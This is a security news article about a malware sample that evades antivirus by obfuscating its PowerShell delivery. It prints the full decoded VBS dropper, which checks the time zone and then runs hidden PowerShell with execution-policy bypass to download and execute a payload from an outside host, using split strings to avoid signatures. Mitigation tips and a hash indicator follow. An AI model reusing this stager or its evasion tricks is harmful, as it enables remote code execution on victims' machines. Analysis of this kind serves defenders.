Obfuscation Technique

Researchers discovered new malware sample that is using different obfustication technique to change the overall signature when its delivery the final payload to evade the most of the anti-virus products.

Attackers changing the obfustication technique from customizing the final payload to customize the delivery method which is an effective method to reach the target successfully without being caught up by Antivirus scan.

Since many of the Antivirus products are rely on the signature-based detection, attackers keep changing the overall the structure of the malware without alter its function and creating a layer to evade the antivirus detection.

The following method is mostly used obfuscation technique to treat Actors to evade the antivirus detection.

  • Packers, which compress or “pack” a malware program
  • Crypters, which encrypt a malware program (or portions thereof)
  • Other obfuscators, which mutate – but do not neuter – the malware program in a variety of ways, thus changing the overall number of bytes in the program

Also Read: Hackers Performing Massive Crypto-Mining Operation Via Hacked Website with Obfuscated Shortlink

How does this Malware Works

Researchers encounter new malware file that using a PowerShell obfuscation technique which is distributed via ZIP file that holds VBS Script and  PDF Document.

VB script using Base64 encoding principals to obfuscate the first layer then the VB script will download the filehxxps://ravigel[dot]com/1cr[dot]dat” via PowerShell Script.

Function GetTimeZoneOffset()
Const sComputer = “.”

Dim oWmiService : Set oWmiService = _
GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” _
& sComputer & “\root\cimv2”)

Dim cTimeZone : Set cTimeZone = _
oWmiService.ExecQuery(“Select * from Win32_TimeZone”)

Dim oTimeZone
For Each oTimeZone in cTimeZone
GetTimeZoneOffset = oTimeZone.Bias / 60
Exit For
Next
End Function

Set vertu = CreateObject(“WScript.Shell”)

vk2=”erS”

if GetTimeZoneOffset = 9 then

Dim humm
humm=”office”
tss1=”Pow”
okol=”ss -c”
nop3=”heLl”
mur=”le hid”
vertu.Run(tss1+vk2+nop3+” -windowsty”+mur+”den -noexit -executionpolicy bypa”+okol+”ommand I`EX ((neW`-Obj`EcT ((‘Net’+’.’+’Webc’+’lient’))).((‘Downloadst’+’ri’+’ng’)).InVokE(((‘ht”+”tp:’+’/”+”/r’+’av’+’ig’+’el.com/1’+’cr.’+’da’+’t’)))) “)
Set vertu = Nothing
WScript.Quit
else
top=1
end if

VBS Script Decoded 

According to cylance,  Numerous techniques, like string splitting through concatenation and variable assignment, as well as the use of tick marks “`” and random letter capitalizations, are used to split up words or signatures that antivirus companies commonly rely upon for malicious PowerShell identification.

The researchers Said, “The file 1cr.dat is where things got interesting,”  “It uses a method of string encryption inherent in C# called SecureString…commonly used to encrypt sensitive strings within applications using Microsoft’s built-in DPAPI.”

Later a set of instructions is there to attempt to defeat automated sandbox techniques and an another PE file “top.tab” will be downloaded using the existing script and final payload will inject into the victim’s machine.

During the analysis, the file was only detected by three products.

The payload is a simple espionage tool widely known to the security community. It is considered commodity malware Researchers said.

Miitgation Techniques from Advanced Malware

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If the Malware was already uploaded on an infected server, it is possible to block the communication between the attacker and the backdoor which will stop the backdoor from working and alerts the server admin, so that malware can be removed.

Placing a web-application firewall can filter out the malicious Backdoor shell and isolate the further attack.

Implement the highly recommended Imperva Incapsula backdoor shell protection.

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IOC :

50e7fe23731ad94f1714c1a8acfce3f8b6e6e918b3e3aa1daa7275cb6052e68c